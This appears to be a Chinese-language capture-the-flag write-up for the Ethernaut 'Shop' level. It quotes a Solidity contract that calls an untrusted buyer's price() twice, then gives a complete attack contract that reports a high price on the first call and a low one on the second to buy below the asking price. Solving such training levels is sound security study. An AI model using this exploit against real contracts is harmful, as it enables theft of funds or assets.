(https://ethernaut.openzeppelin.com/level/0x3aCd4766f1769940cA010a907b3C8dEbCe0bd4aB)
這一關題目要從shop這個contract 買東西,但是價錢要比shop要求的低。
interface Buyer {
function price() external view returns (uint);
}
contract Shop {
uint public price = 100;
bool public isSold;
function buy() public {
Buyer _buyer = Buyer(msg.sender);
if (_buyer.price() >= price && !isSold) { //第一次呼叫_buyer.price()
isSold = true;
price = _buyer.price(); //第二次呼叫_buyer.price()
}
}
}
其中,買東西就是要讓isSold變數變成true,而買東西的價格則由buyer.price()來決定,但因為buyer是一個Interface,我們可以自己寫price(),那就只要自己寫一個return低於原定價格的price()就可以搞定了。但是,Shop.buy()會先檢查buyer.price()必須大於設定的價格。
沒關係,我們只需要第一次檢查的時候返回大於設定的價格,第二次呼叫buyer.price()時給小於設定的價格,這關就過了(可以參考level 11 Elevator的作法),我們在之前是在自己寫的合約中用一個bool 變數來儲存第一次或第二次呼叫,但這樣的做法因為牽涉到合約state(儲存的變數)的改變,收取的gas費用較高,因此這邊我們利用直接查詢Shop.isSold()的方式來判斷是第一次呼叫還是第二次呼叫。直接上code:
contract HackShop{
Shop public _shop;
constructor(address _shopAddress) {
_shop = Shop(_shopAddress);
}
function price() external view returns (uint){
return _shop.isSold() == true ? 1: 101;
}
//需要用此合約去觸發Shop.buy(),才會用此合約的price()函數
function go_buy() public{
_shop.buy();
}
}
Deploy時輸入instance的address,然後執行go_buy(),成功後回Ethernaut sumbit,這一關就這樣。